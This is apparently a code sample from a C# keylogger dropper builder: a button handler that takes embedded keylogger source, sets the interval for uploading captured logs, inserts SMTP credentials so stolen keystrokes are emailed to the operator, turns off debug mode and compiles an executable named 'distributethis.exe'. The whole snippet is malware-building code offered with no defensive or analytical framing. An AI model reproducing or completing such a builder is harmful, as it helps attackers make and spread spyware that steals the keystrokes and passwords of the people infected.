예제 #1
0
        private void button2_Click_1(object sender, EventArgs e)
        {
            string tempSource = Keylogger_Dropper.Properties.Resources.source;

            #region SetUploadLog interval
            int interval;
            int.TryParse(textBox5.Text, out interval);

            tempSource = tempSource.Replace("aTimer.Interval = 10000;", String.Format("aTimer.Interval = {0};", interval));
            #endregion

            #region delivery method check
            if (radioButton3.Checked == true)
            {
                tempSource = tempSource.Replace("%USERNAME%", textBox1.Text);
                tempSource = tempSource.Replace("%PASSWORD%", textBox2.Text);
                tempSource = tempSource.Replace("%HOSTSMTP%", textBox3.Text);
                tempSource = tempSource.Replace("%SMTPPORT%", textBox4.Text);
            }
            else
            {
            }

            #endregion

            #region Debugging/Final Check (HAS TO BE FINAL CHECK) + final build sequence
            if (radioButton1.Checked == true)
            {
                // keep debugging mode enabled
                //tempSource = tempSource.Replace("public static bool debugMode { get; set; } = true;", "");
                Toolkit.BuildExecutable(tempSource, "distributethisDEBUG.exe", false);
                return;
            }
            else if (radioButton2.Checked == true)
            {
                // disable debugging mode
                tempSource = tempSource.Replace("public static bool debugMode = true;", "public static bool debugMode = false;");
                Toolkit.BuildExecutable(tempSource, "distributethis.exe", true);
                return;
            }
            #endregion
        }